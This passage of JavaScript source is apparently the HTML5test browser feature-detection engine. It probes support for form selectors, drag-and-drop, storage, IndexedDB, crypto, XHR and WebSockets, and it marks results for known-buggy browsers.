element.setAttribute("min", "10");
element.setAttribute("max", "20");
element.setAttribute("value", "25");
passed[5] = !!document.querySelector("#testFormInput:out-of-range");
} catch(e) {
passed[5] = NO;
}
document.body.removeChild(element);
var element = document.createElement('input');
element.id = 'testFormInput';
element.setAttribute("type", "text");
element.setAttribute("readonly", "readonly");
document.body.appendChild(element);
try {
passed[7] = !!document.querySelector("#testFormInput:read-only");
} catch(e) {
passed[7] = NO;
try {
passed[7] = document.querySelector("#testFormInput:-moz-read-only") ? YES | PREFIX : NO;
} catch(e) {
}
}
document.body.removeChild(element);
}
for (var i = 0; i < selectors.length; i++) {
results.setItem({
key: 'form-selectors-' + selectors[i],
passed: passed[i]
});
}
/* oninput, onchange and oninvalid events */
var inputItem = results.setItem({
key: 'form-events-oninput',
passed: isEventSupported('input')
});
var changeItem = results.setItem({
key: 'form-events-onchange',
passed: isEventSupported('change')
});
var invalidItem = results.setItem({
key: 'form-events-oninvalid',
passed: isEventSupported('invalid')
});
try {
inputItem.startBackground();
changeItem.startBackground();
var event = document.createEvent("KeyboardEvent");
if (event.initKeyEvent) {
event.initKeyEvent("keypress", false, true, null, false, false, false, false, null, 65);
var input = document.createElement('input');
input.style.position = 'fixed';
input.style.left = '-500px';
input.style.top = '0px';
document.body.appendChild(input);
input.addEventListener('input', function() {
inputItem.update({
'passed': true
});
inputItem.stopBackground();
}, true);
input.addEventListener('change', function() {
changeItem.update({
'passed': true
});
changeItem.stopBackground();
}, true);
input.focus();
input.dispatchEvent(event);
input.blur();
window.setTimeout(function() {
document.body.removeChild(input);
inputItem.stopBackground();
changeItem.stopBackground();
}, 1000);
} else {
inputItem.stopBackground();
changeItem.stopBackground();
}
} catch(e) {
inputItem.stopBackground();
changeItem.stopBackground();
}
/* checkValidity property */
results.setItem({
key: 'form-formvalidation-checkValidity',
passed: 'checkValidity' in document.createElement('form')
});
/* noValidate property */
results.setItem({
key: 'form-formvalidation-noValidate',
passed: 'noValidate' in document.createElement('form')
});
},
function(results) {
var element = document.createElement('div');
/* Draggable */
var passed = 'draggable' in element;
results.setItem({
key: 'interaction-dragdrop.attributes-draggable',
passed: passed
});
/* Dropzone */
results.setItem({
key: 'interaction-dragdrop.attributes-dropzone',
passed: 'dropzone' in element ? YES : 'webkitdropzone' in element || 'mozdropzone' in element || 'msdropzone' in element || 'odropzone' in element ? YES | PREFIX : NO
});
/* We need to check if the draggable attribute is supported, because older versions of IE do
support the incompatible versions of the events below. IE 9 and up do support the HTML5
events in combination with the draggable attribute */
/* ondrag event */
results.setItem({
key: 'interaction-dragdrop.events-ondrag',
passed: isEventSupported('drag') && passed
});
/* ondragstart event */
results.setItem({
key: 'interaction-dragdrop.events-ondragstart',
passed: isEventSupported('dragstart') && passed
});
/* ondragenter event */
results.setItem({
key: 'interaction-dragdrop.events-ondragenter',
passed: isEventSupported('dragenter') && passed
});
/* ondragover event */
results.setItem({
key: 'interaction-dragdrop.events-ondragover',
passed: isEventSupported('dragover') && passed
});
/* ondragleave event */
results.setItem({
key: 'interaction-dragdrop.events-ondragleave',
passed: isEventSupported('dragleave') && passed
});
/* ondragend event */
results.setItem({
key: 'interaction-dragdrop.events-ondragend',
passed: isEventSupported('dragend') && passed
});
/* ondrop event */
results.setItem({
key: 'interaction-dragdrop.events-ondrop',
passed: isEventSupported('drop') && passed
});
/* contentEditable */
results.setItem({
key: 'interaction-editing.elements-contentEditable',
passed: 'contentEditable' in document.createElement('div')
});
/* isContentEditable */
results.setItem({
key: 'interaction-editing.elements-isContentEditable',
passed: 'isContentEditable' in document.createElement('div')
});
/* designMode */
results.setItem({
key: 'interaction-editing.documents-designMode',
passed: 'designMode' in document
});
/* execCommand */
results.setItem({
key: 'interaction-editing.apis-execCommand',
passed: 'execCommand' in document
});
/* queryCommandEnabled */
results.setItem({
key: 'interaction-editing.apis-queryCommandEnabled',
passed: 'queryCommandEnabled' in document
});
/* queryCommandIndeterm */
results.setItem({
key: 'interaction-editing.apis-queryCommandIndeterm',
passed: 'queryCommandIndeterm' in document
});
/* queryCommandState */
results.setItem({
key: 'interaction-editing.apis-queryCommandState',
passed: 'queryCommandState' in document
});
/* queryCommandSupported */
results.setItem({
key: 'interaction-editing.apis-queryCommandSupported',
passed: 'queryCommandSupported' in document
});
/* queryCommandValue */
results.setItem({
key: 'interaction-editing.apis-queryCommandValue',
passed: 'queryCommandValue' in document
});
/* read-write and read-only selectors */
var selectors = "read-write read-only".split(" ");
var passed = [ NO | UNKNOWN, NO | UNKNOWN ];
if ('querySelector' in document) {
var element = document.createElement('div');
element.id = 'testDivElement';
element.contentEditable = true;
document.body.appendChild(element);
var nested = document.createElement('div');
nested.id = 'testDivNested';
nested.contentEditable = false;
element.appendChild(nested);
try {
passed[0] = document.querySelector("#testDivElement:read-write") == element;
} catch(e) {
passed[0] = NO;
try {
passed[0] = document.querySelector("#testDivElement:-moz-read-write") == element ? YES | PREFIX : NO;
} catch(e) {
}
}
try {
passed[1] = document.querySelector("#testDivNested:read-only") == nested;
} catch(e) {
passed[1] = NO;
try {
passed[1] = document.querySelector("#testDivNested:-moz-read-only") == nested ? YES | PREFIX : NO;
} catch(e) {
}
}
document.body.removeChild(element);
}
for (var i = 0; i < selectors.length; i++) {
results.setItem({
key: 'interaction-editing.selectors-' + selectors[i],
passed: passed[i]
});
}
/* ClipboardEvent */
results.setItem({
key: 'interaction-clipboard',
passed: 'ClipboardEvent' in window
});
/* spellcheck */
results.setItem({
key: 'interaction-spellcheck',
passed: 'spellcheck' in element
});
},
function(results) {
/* history */
results.setItem({
key: 'history-history',
passed: !!(window.history && history.pushState)
});
},
function(results) {
/* microdata */
var container = document.createElement('div');
container.innerHTML = '<div id="microdataItem" itemscope itemtype="http://example.net/user"><p>My name is <span id="microdataProperty" itemprop="name">Elizabeth</span>.</p></div>';
document.body.appendChild(container);
var item = document.getElementById('microdataItem');
var property = document.getElementById('microdataProperty');
var passed = true;
// Check the element that contains the property
passed = passed && !!('itemValue' in property) && property.itemValue == 'Elizabeth';
// Check the element that is the item
passed = passed && !!('properties' in item) && item.properties['name'][0].itemValue == 'Elizabeth';
// Check the getItems method
if (!!document.getItems) {
var user = document.getItems('http://example.net/user')[0];
passed = passed && user.properties['name'][0].itemValue == 'Elizabeth';
}
document.body.removeChild(container);
results.setItem({
key: 'microdata-microdata',
passed: passed
});
},
function(results) {
/* applicationCache */
results.setItem({
key: 'offline-applicationCache',
passed: !!window.applicationCache
});
/* serviceWorker */
results.setItem({
key: 'offline-serviceWorkers',
passed: !!window.navigator.serviceWorker
});
/* registerProtocolHandler */
results.setItem({
key: 'offline-registerProtocolHandler',
passed: !!window.navigator.registerProtocolHandler
});
/* registerContentHandler */
results.setItem({
key: 'offline-registerContentHandler',
passed: !!window.navigator.registerContentHandler
});
},
function(results) {
/* crypto */
var passed = NO;
try {
var crypto = window.crypto || window.webkitCrypto || window.mozCrypto || window.msCrypto || window.oCrypto;
var available = window.crypto ? YES : window.mozCrypto || window.msCrypto || window.oCrypto ? YES | PREFIX : NO;
passed = !!crypto && 'subtle' in crypto ? available : !!crypto && 'webkitSubtle' in crypto ? YES | PREFIX : NO;
} catch(e) {
}
results.setItem({
key: 'security-crypto',
passed: passed
});
/* csp 1.0 */
results.setItem({
key: 'security-csp10',
passed: !(function() { try { return eval('true'); } catch (e) {} return false; })()
});
/* csp 1.1 */
results.setItem({
key: 'security-csp11',
passed: 'SecurityPolicyViolationEvent' in window
});
/* cors */
results.setItem({
key: 'security-cors',
passed: window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()
});
/* postMessage */
results.setItem({
key: 'security-postMessage',
passed: !!window.postMessage
});
/* sandboxed iframe */
results.setItem({
key: 'security-sandbox',
passed: 'sandbox' in document.createElement('iframe')
});
/* srcdoc iframe */
results.setItem({
key: 'security-srcdoc',
passed: 'srcdoc' in document.createElement('iframe')
});
},
function(results) {
/* geolocation */
results.setItem({
key: 'location-geolocation',
passed: !!navigator.geolocation
});
/* device orientation */
results.setItem({
key: 'location-orientation',
passed: !!window.DeviceOrientationEvent
});
/* device motion */
results.setItem({
key: 'location-motion',
passed: !!window.DeviceMotionEvent
});
},
function(results) {
/* webgl */
var element = document.createElement('canvas');
var contexts = ['webgl', 'ms-webgl', 'experimental-webgl', 'moz-webgl', 'opera-3d', 'webkit-3d', 'ms-3d', '3d'];
var context = '';
var passed = false;
for (var b = -1, len = contexts.length; ++b < len;) {
try {
if (element.getContext(contexts[b])) {
context = contexts[b];
passed = true;
break;
};
} catch(e){ }
}
results.setItem({
key: 'webgl-context',
passed: passed ? (context == 'webgl' ? YES : YES | PREFIX) : NO
});
},
function(results) {
/* beacon */
results.setItem({
key: 'communication-beacon',
passed: 'sendBeacon' in navigator
});
/* eventSource */
results.setItem({
key: 'communication-eventSource',
passed: 'EventSource' in window
});
/* fetch */
results.setItem({
key: 'communication-fetch',
passed: 'Promise' in window && typeof window.fetch === 'function' && window.fetch('') instanceof Promise
});
/* xmlhttprequest upload */
results.setItem({
key: 'communication-xmlhttprequest2.upload',
passed: window.XMLHttpRequest && 'upload' in new XMLHttpRequest()
});
/* xmlhttprequest response text */
var item = results.setItem({
key: 'communication-xmlhttprequest2.response-text',
passed: false
});
testResponseTypeText(item);
/* xmlhttprequest response document */
var item = results.setItem({
key: 'communication-xmlhttprequest2.response-document',
passed: false
});
testResponseTypeDocument(item);
/* xmlhttprequest response array */
var item = results.setItem({
key: 'communication-xmlhttprequest2.response-array',
passed: false
});
testResponseTypeArrayBuffer(item);
/* xmlhttprequest response blob */
var item = results.setItem({
key: 'communication-xmlhttprequest2.response-blob',
passed: false
});
testResponseTypeBlob(item);
/* websockets */
var websocket = window.WebSocket || window.MozWebSocket;
var passed = 'WebSocket' in window ? YES : 'MozWebSocket' in window ? YES | PREFIX : NO;
if (websocket && websocket.CLOSING !== 2) passed |= OLD;
results.setItem({
key: 'communication-websocket.basic',
passed: passed
});
/* binary websockets */
var passed = false;
var protocol = 'https:' == location.protocol ? 'wss' : 'ws';
if ("WebSocket" in window) {
if ("binaryType" in WebSocket.prototype) {
passed = true;
}
else {
try {
passed = !!(new WebSocket(protocol+'://.').binaryType);
} catch (e) {
}
}
}
results.setItem({
key: 'communication-websocket.binary',
passed: passed
});
function testResponseTypeDocument(item) {
if (!window.XMLHttpRequest) return;
var xhr = new window.XMLHttpRequest();
if (typeof xhr.responseType == 'undefined') return;
var done = false;
xhr.onreadystatechange = function() {
if (this.readyState == 4 && !done) {
done = true;
passed = false;
try {
passed = !!(this.responseXML && this.responseXML.title && this.responseXML.title == "&&<");
} catch(e) {
}
item.stopBackground();
item.update({
'passed': passed
});
}
}
try {
item.startBackground();
xhr.open("GET", "/detect.html?" + Math.random().toString(36).substr(2, 5));
xhr.responseType = "document";
xhr.send();
} catch (e) {
item.stopBackground();
}
}
function testResponseTypeText(item) {
if (!window.XMLHttpRequest) return;
var xhr = new window.XMLHttpRequest();
if (typeof xhr.responseType == 'undefined') return;
var done = false;
xhr.onreadystatechange = function() {
if (this.readyState == 4 && !done) {
done = true;
passed = false;
try {
passed = !!(this.responseText); // && this.responseText == '<title>&&<</title>');
} catch(e) {
}
item.stopBackground();
item.update({
'passed': passed
});
}
}
try {
item.startBackground();
xhr.open("GET", "/detect.html?" + Math.random().toString(36).substr(2, 5));
xhr.responseType = "text";
xhr.send();
} catch (e) {
item.stopBackground();
}
}
function testResponseTypeBlob(item) {
if (!window.XMLHttpRequest || !window.Blob) return;
var xhr = new window.XMLHttpRequest();
if (typeof xhr.responseType == 'undefined') return;
var done = false;
xhr.onreadystatechange = function() {
if (this.readyState == 4 && !done) {
done = true;
passed = false;
try {
passed = !!(this.response && this.response instanceof Blob);
} catch(e) {
}
item.stopBackground();
item.update({
'passed': passed
});
}
}
try {
item.startBackground();
xhr.open("GET", "/detect.html?" + Math.random().toString(36).substr(2, 5));
xhr.responseType = "blob";
xhr.send();
} catch (e) {
item.stopBackground();
}
}
function testResponseTypeArrayBuffer(item) {
if (!window.XMLHttpRequest || !window.ArrayBuffer) return;
var xhr = new window.XMLHttpRequest();
if (typeof xhr.responseType == 'undefined') return;
var done = false;
xhr.onreadystatechange = function() {
if (this.readyState == 4 && !done) {
done = true;
passed = false;
try {
passed = !!(this.response && this.response instanceof ArrayBuffer);
} catch(e) {
}
item.stopBackground();
item.update({
'passed': passed
});
}
}
try {
item.startBackground();
xhr.open("GET", "/detect.html?" + Math.random().toString(36).substr(2, 5));
xhr.responseType = "arraybuffer";
xhr.send();
} catch (e) {
item.stopBackground();
}
}
},
function(results) {
/* readable streams */
results.setItem({
key: 'streams-streams.readable',
passed: 'ReadableStream' in window
});
/* writeable streams */
results.setItem({
key: 'streams-streams.writeable',
passed: 'WriteableStream' in window
});
},
function(results) {
/* file reader */
results.setItem({
key: 'files-fileReader',
passed: 'FileReader' in window
});
/* file reader as blob */
results.setItem({
key: 'files-fileReader.blob',
passed: 'Blob' in window
});
/* file reader as data url */
results.setItem({
key: 'files-fileReader.dataURL',
passed: 'FileReader' in window && 'readAsDataURL' in (new FileReader())
});
/* file reader as array buffer */
results.setItem({
key: 'files-fileReader.arraybuffer',
passed: 'FileReader' in window && 'readAsArrayBuffer' in (new FileReader())
});
/* file reader as object url */
results.setItem({
key: 'files-fileReader.objectURL',
passed: 'URL' in window && 'createObjectURL' in URL
});
/* request file system */
results.setItem({
key: 'files-fileSystem',
passed: !! window.requestFileSystem ? YES : !! window.webkitRequestFileSystem || !! window.mozRequestFileSystem || !! window.oRequestFileSystem || !! window.msRequestFileSystem ? YES | PREFIX : NO
});
/* get file system */
results.setItem({
key: 'files-getFileSystem',
passed: !! navigator.getFileSystem ? YES : !! navigator.webkitGetFileSystem || !! navigator.mozGetFileSystem || !! window.msGetFileSystem ? YES | PREFIX : NO
});
},
function(results) {
/* session storage */
results.setItem({
key: 'storage-sessionStorage',
passed: 'sessionStorage' in window && window.sessionStorage != null
});
/* local storage */
var passed = false;
try {
passed = 'localStorage' in window && window.localStorage != null
} catch(e) {
/* If we get a security exception we know the feature exists, but cookies are disabled */
if (e.name == 'NS_ERROR_DOM_SECURITY_ERR') {
passed = true;
}
}
results.setItem({
key: 'storage-localStorage',
passed: passed
});
/* indexeddb */
var indexedDB = window.indexedDB || window.webkitIndexedDB || window.mozIndexedDB || window.moz_indexedDB || window.oIndexedDB || window.msIndexedDB;
var passed = !! window.indexedDB ? YES : !! window.webkitIndexedDB || !! window.mozIndexedDB || !! window.moz_indexedDB || !! window.oIndexedDB || !! window.msIndexedDB ? YES | PREFIX : NO;
if (indexedDB && ! 'deleteDatabase' in indexedDB) passed != BUGGY;
results.setItem({
key: 'storage-indexedDB.basic',
passed: passed
});
/* indexeddb blob and arraybuffer storage */
var blobitem = results.setItem({
key: 'storage-indexedDB.blob',
passed: false
});
var arrayitem = results.setItem({
key: 'storage-indexedDB.arraybuffer',
passed: false
});
if (indexedDB && 'deleteDatabase' in indexedDB) {
log('IndexedDB: starting tests');
try {
blobitem.startBackground();
arrayitem.startBackground();
log('IndexedDB: delete existing database (if exists)');
var request = indexedDB.deleteDatabase('html5test');
request.onerror = function(e) {
log('IndexedDB: error, could not delete database', e);
blobitem.stopBackground();
arrayitem.stopBackground();
};
request.onsuccess = function () {
var request = indexedDB.open('html5test', 1);
log('IndexedDB: opening new database');
request.onupgradeneeded = function() {
log('IndexedDB: creating objectStore');
request.result.createObjectStore("store");
};
request.onerror = function(event) {
log('IndexedDB: error opening database', event);
blobitem.stopBackground();
arrayitem.stopBackground();
};
request.onsuccess = function() {
log('IndexedDB: database opened');
var db = request.result;
try {
db.transaction("store", "readwrite").objectStore("store").put(new Blob(), "key");
log('IndexedDB: objectStore with Blob passed');
blobitem.update({
passed: true
});
} catch (e) {
log('IndexedDB: objectStore with Blob failed');
}
try {
db.transaction("store", "readwrite").objectStore("store").put(new ArrayBuffer(), "key");
log('IndexedDB: objectStore with ArrayBuffer passed');
arrayitem.update({
passed: true
});
} catch (e) {
log('IndexedDB: objectStore with ArrayBuffer failed');
}
blobitem.stopBackground();
arrayitem.stopBackground();
db.close();
indexedDB.deleteDatabase('html5test');
};
};
} catch (e) {
log('IndexedDB: exception reached during test', e);
blobitem.stopBackground();
arrayitem.stopBackground();
}
}
/* websql */
results.setItem({
key: 'storage-sqlDatabase',
passed: !!window.openDatabase
});
},
function(results) {
/* webworker */
results.setItem({
key: 'performance-worker',
passed: !!window.Worker
});
/* sharedworker */
results.setItem({
key: 'performance-sharedWorker',
passed: !!window.SharedWorker
});
/* datatypes */
results.setItem({
key: 'performance-datatypes-ArrayBuffer',
passed: typeof ArrayBuffer != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Int8Array',
passed: typeof Int8Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Uint8Array',
passed: typeof Uint8Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Uint8ClampedArray',
passed: typeof Uint8ClampedArray != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Int16Array',
passed: typeof Int16Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Uint16Array',
passed: typeof Uint16Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Int32Array',
passed: typeof Int32Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Uint32Array',
passed: typeof Uint32Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Float32Array',
passed: typeof Float32Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-Float64Array',
passed: typeof Float64Array != 'undefined'
});
results.setItem({
key: 'performance-datatypes-DataView',
passed: typeof DataView != 'undefined'
});
},
function(results) {
/* fullscreen */
results.setItem({
key: 'output-requestFullScreen',
passed: !! document.documentElement.requestFullscreen ? YES : !! document.documentElement.webkitRequestFullScreen || !! document.documentElement.mozRequestFullScreen || !! document.documentElement.msRequestFullscreen ? YES | PREFIX : NO
});
/* notifications */
results.setItem({
key: 'output-notifications',
passed: 'Notification' in window ? YES : 'webkitNotifications' in window || 'mozNotification' in window.navigator || 'oNotification' in window || 'msNotification' in window ? YES | PREFIX : NO
});
},
function(results) {
/* async scripts */
results.setItem({
key: 'other-async',
passed: 'async' in document.createElement('script')
});
/* deferred scripts */
results.setItem({
key: 'other-defer',
passed: 'defer' in document.createElement('script')
});
/* script error reporting */
results.setItem({
key: 'other-onerror',
passed: isEventSupported('error')
});
/* script execution events */
var executionevents = results.setItem({
key: 'other-executionevents',
passed: false
});
executionevents.startBackground();
var before = false;
var s = document.createElement('script');
s.src="data:text/javascript;charset=utf-8,window"
s.addEventListener('beforescriptexecute', function() {
before = true;
}, true);
s.addEventListener('afterscriptexecute', function() {
if (before) {
executionevents.update({
passed: true
});
}
executionevents.stopBackground();
}, true);
document.body.appendChild(s);
window.setTimeout(function() {
executionevents.stopBackground();
}, 500);
/* base64 encoding and decoding */
results.setItem({
key: 'other-base64',
passed: 'btoa' in window && 'atob' in window
});
/* json encoding and decoding */
results.setItem({
key: 'other-json',
passed: 'JSON' in window && 'parse' in JSON
});
/* mutation observer */
results.setItem({
key: 'other-mutationObserver',
passed: 'MutationObserver' in window ? YES : 'WebKitMutationObserver' in window || 'MozMutationObserver' in window || 'oMutationObserver' in window || 'msMutationObserver' in window ? YES | PREFIX : NO
});
/* url api */
results.setItem({
key: 'other-url',
passed: 'URL' in window ? YES : 'WebKitURL' in window || 'MozURL' in window || 'oURL' in window || 'msURL' in window ? YES | PREFIX : NO
});
/* text encoding api */
results.setItem({
key: 'other-encoding',
passed: 'TextEncoder' in window && 'TextDecoder' in window ? YES : NO
});
/* internationalisation api */
results.setItem({
key: 'other-i18n',
passed: 'Intl' in window ? YES : NO
});
/* promises */
var passed = 'Promise' in window ? YES | OLD : NO;
if ('Promise' in window &&
'resolve' in window.Promise &&
'reject' in window.Promise &&
'all' in window.Promise &&
'race' in window.Promise &&
(function() {
var resolve;
new window.Promise(function(r) { resolve = r; });
return typeof resolve === 'function';
}()))
{
passed = YES;
}
results.setItem({
key: 'other-promises',
passed: passed
});
/* page visiblity */
results.setItem({
key: 'other-pagevisiblity',
passed: 'visibilityState' in document ? YES : 'webkitVisibilityState' in document || 'mozVisibilityState' in document || 'oVisibilityState' in document || 'msVisibilityState' in document ? YES | PREFIX : NO
});
/* selection */
results.setItem({
key: 'other-getSelection',
passed: !!window.getSelection
});
/* scrollIntoView */
results.setItem({
key: 'other-scrollIntoView',
passed: 'scrollIntoView' in document.createElement('div')
});
},
function(results) {
/* animation api */
results.setItem({
key: 'animation-webanimation',
passed: 'animate' in document.createElement('div')
});
/* requestAnimationFrame */
results.setItem({
key: 'animation-requestAnimationFrame',
passed: !! window.requestAnimationFrame ? YES : !! window.webkitRequestAnimationFrame || !! window.mozRequestAnimationFrame || !! window.msRequestAnimationFrame || !! window.oRequestAnimationFrame ? YES | PREFIX : NO
});
},
function(results) {
/* custom elements */
results.setItem({
key: 'components-custom',
passed: 'registerElement' in document
});
/* shadow dom */
results.setItem({
key: 'components-shadowdom',
passed: 'attachShadow' in document.createElement('div') ? YES : 'createShadowRoot' in document.createElement('div') || 'webkitCreateShadowRoot' in document.createElement('div') ? YES | OLD : NO
});
/* templates */
var passed = false;
try {
passed = 'content' in document.createElement('template');
} catch(error) {
}
results.setItem({
key: 'components-template',
passed: passed
});
/* html imports */
results.setItem({
key: 'components-imports',
passed: 'import' in document.createElement('link')
});
}
];
/* Helper functions */
var isEventSupported = (function(){
var TAGNAMES = {
'select':'input','change':'input','input':'input',
'submit':'form','reset':'form','forminput':'form','formchange':'form',
'error':'img','load':'img','abort':'img'
}
function isEventSupported(eventName, element) {
element = element || document.createElement(TAGNAMES[eventName] || 'div');
eventName = 'on' + eventName;
var isSupported = (eventName in element);
if (!isSupported) {
if (!element.setAttribute) {
element = document.createElement('div');
}
if (element.setAttribute && element.removeAttribute) {
element.setAttribute(eventName, '');
isSupported = typeof element[eventName] == 'function';
if (typeof element[eventName] != 'undefined') {
element[eventName] = void 0;
}
element.removeAttribute(eventName);
}
}
element = null;
return isSupported;
}
return isEventSupported;
})();
var log = function(m){
if (console && console.log) {
console.log(m);
}
};
var canPlayType = function(element, type) {
/*
There is a bug in iOS 4.1 or earlier where probably and maybe are switched around.
This bug was reported and fixed in iOS 4.2
*/
if (Browsers.isOs('iOS', '<', '4.2'))
return element.canPlayType(type) == 'probably' || element.canPlayType(type) == 'maybe';
else
return element.canPlayType(type) == 'probably';
};
var closesImplicitly = function(name) {
var foo = document.createElement('div');
foo.innerHTML = '<p><' + name + '></' + name + '>';
return foo.childNodes.length == 2;
};
var getStyle = function(element, name) {
function camelCase(str){
return str.replace(/-\D/g, function(match){
return match.charAt(1).toUpperCase()
})
}
if (element.style[name]) {
return element.style[name];
} else if (element.currentStyle) {
return element.currentStyle[camelCase(name)];
}
else if (document.defaultView && document.defaultView.getComputedStyle) {
s = document.defaultView.getComputedStyle(element, "");
return s && s.getPropertyValue(name);
} else {
return null;
}
};
var isBlock = function(element) {
return getStyle(element, 'display') == 'block';
};
var isHidden = function(element) {
return getStyle(element, 'display') == 'none';
};
/* Classes */
function results (parent) { this.initialize(parent); }
results.prototype = {
initialize: function(parent) {
this.parent = parent;
this.items = [];
},
setItem: function(result) {
var i = new item(this, result);
this.items.push(i);
return i;
},
startBackground: function(key) {
this.parent.startBackground(key);
},
stopBackground: function(key) {
this.parent.stopBackground(key);
},
toString: function() {
var results = [];
for (var i = 0; i < this.items.length; i++) {
if (typeof this.items[i].data.passed != 'undefined') results.push(this.items[i].data.key + '=' + (+this.items[i].data.passed));
}
return results.join(',');
}
};
function item (parent, data) { this.initialize(parent, data); }
item.prototype = {
initialize: function(parent, data) {
this.parent = parent;
this.data = data;
if (typeof this.data.passed == 'undefined') this.data.passed = false;
if (this.data.passed) {
var blacklist = this.isOnBlacklist();
if (blacklist) {
this.data.passed = blacklist;
}
}
},
update: function(data) {
for (var key in data) {
this.data[key] = data[key];
}
if (typeof this.data.passed == 'undefined') this.data.passed = false;
if (this.data.passed) {
var blacklist = this.isOnBlacklist();
if (blacklist) {
this.data.passed = blacklist;
}
}
},
isOnBlacklist: function() {
var part = '';
var parts = this.data.key.split('.');
for (var i = 0; i < parts.length; i++) {
part += (i == 0 ? '' : '.') + parts[i];
for (var k = 0; k < blacklists.length; k++) {
if (typeof blacklists[k][1][part] != 'undefined') {
if (blacklists[k][1][part]) {
if (console && console.log) console.log('BLOCKED TEST: ' + part + '!');
return blacklists[k][0];
}
}
}
}
return false;
},
startBackground: function() {
this.parent.startBackground(this.data.key);
},
stopBackground: function() {
this.parent.stopBackground(this.data.key);
}
};
function test (callback, error) { this.initialize(callback, error); }
test.prototype = {
initialize: function(callback, error) {
blacklists = [
[
BLOCKED,
{
'form.file': Browsers.isDevice('Xbox 360') || Browsers.isDevice('Xbox One') || Browsers.isDevice('Playstation 4') || Browsers.isOs('Windows Phone', '<', '8.1') || Browsers.isOs('iOS', '<', '6') || Browsers.isOs('Android', '<', '2.2'),
'form.date.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.month.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.week.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.time.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.datetime-local.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('Maxthon', '<', '4.0.5') || Browsers.isBrowser('UC Browser', '<', '8.6'),
'form.color.ui': Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('UC Browser', '<', '9.8'),
'form.range.ui': Browsers.isBrowser('UC Browser', '<', '9.8'),
'form.progress.element': Browsers.isBrowser('Baidu Browser'),
'files.fileSystem': Browsers.isOs('BlackBerry Tablet OS'),
'input.getUserMedia': Browsers.isDevice('webOS TV') || Browsers.isBrowser('Baidu Browser') || Browsers.isBrowser('Sogou Explorer') || Browsers.isBrowser('UC Browser', '<', '9.8') || Browsers.isBrowser('Dolphin'),
'input.getGamepads': Browsers.isDevice('webOS TV') || Browsers.isDevice('Playstation 4') || Browsers.isDevice('Wii U'),
'location.geolocation': Browsers.isDevice('webOS TV') || Browsers.isDevice('Xbox One') || Browsers.isBrowser('Baidu Browser') || Browsers.isOs('Google TV'),
'location.orientation': Browsers.isBrowser('Baidu Browser'),
'output.notifications': Browsers.isBrowser('Opera', '=', '18') || Browsers.isBrowser('Baidu Browser') || Browsers.isBrowser('Sogou Explorer'),
'output.requestFullScreen': Browsers.isBrowser('Sogou Explorer') || Browsers.isOs('BlackBerry Tablet OS') || Browsers.isOs('BlackBerry OS'),
'video.subtitle': Browsers.isBrowser('Baidu Browser') || Browsers.isBrowser('Sogou Explorer'),
'webgl.context': Browsers.isBrowser('Baidu Browser'),
}
],
[
DISABLED,
{
'elements.semantic.ping': Browsers.isBrowser('Firefox') || Browsers.isBrowser('Firefox Mobile')
}
],
[
UNCONFIRMED,
{
'interaction.dragdrop': !( Browsers.isType('desktop') ||
Browsers.isType('mobile', 'tablet', 'media') && (
Browsers.isBrowser('Opera') && Browsers.isEngine('Presto')
) ||
Browsers.isType('television') && (
Browsers.isDevice('webOS TV')
)
),
'interaction.editing': !( Browsers.isType('desktop') ||
Browsers.isType('mobile', 'tablet', 'media') && (
Browsers.isOs('iOS', '>=', '5') ||
Browsers.isOs('Android', '>=', '4') ||
Browsers.isOs('Windows Phone', '>=', '7.5') ||
Browsers.isOs('BlackBerry') ||
Browsers.isOs('BlackBerry OS') ||
Browsers.isOs('BlackBerry Tablet OS') ||
Browsers.isOs('Meego') ||
Browsers.isOs('Tizen') ||
Browsers.isEngine('Gecko') ||
Browsers.isEngine('Presto') ||
Browsers.isBrowser('Chrome') ||
Browsers.isBrowser('Polaris', '>=', '8')
) ||
Browsers.isType('television') && (
Browsers.isOs('Tizen') ||
Browsers.isDevice('webOS TV') ||
Browsers.isBrowser('Espial') ||
Browsers.isBrowser('MachBlue XT') ||
Browsers.isEngine('Presto', '>=', '2.9')
) ||
Browsers.isType('gaming') && (
Browsers.isDevice('Xbox 360') ||
Browsers.isDevice('Xbox One') ||
Browsers.isDevice('Playstation 4')
)
)
}
]
];
try {
this.backgroundTasks = [];
this.backgroundIds = {};
this.backgroundId = 0;
this.callback = callback;
this.results = new results(this);
for (var s = 0; s < testsuite.length; s++) {
testsuite[s](this.results);
}
this.waitForBackground();
}
catch(e) {
error(e);
}
},
waitForBackground: function() {
var that = this;
window.setTimeout(function() {
that.checkForBackground.call(that);
}, 300);
},
checkForBackground: function() {
var running = 0;
for (var task = 0; task < this.backgroundTasks.length; task++) { running += this.backgroundTasks[task] }
if (running) {
this.waitForBackground();
} else {
this.finished();
}
},
startBackground: function(id) {
var i = this.backgroundId++;
this.backgroundIds[id] = i;
this.backgroundTasks[i] = 1;
},
stopBackground: function(id) {
this.backgroundTasks[this.backgroundIds[id]] = 0;
},
finished: function() {
var uniqueid = (((1+Math.random())*0x1000000)|0).toString(16).substring(1) + ("0000000000" + (new Date().getTime() - new Date(2010,0,1).getTime()).toString(16)).slice(-10);
this.callback({
version: version,
revision: revision,
uniqueid: uniqueid,
results: this.results.toString(),
});
}
};
return test;
})();
| scripts/8/engine.js |
Test8 = (function() {
var version = 8;
var revision = 0;
var NO = 0,
YES = 1,
OLD = 2,
BUGGY = 4,
PREFIX = 8,
BLOCKED = 16,
DISABLED = 32,
UNCONFIRMED = 64;
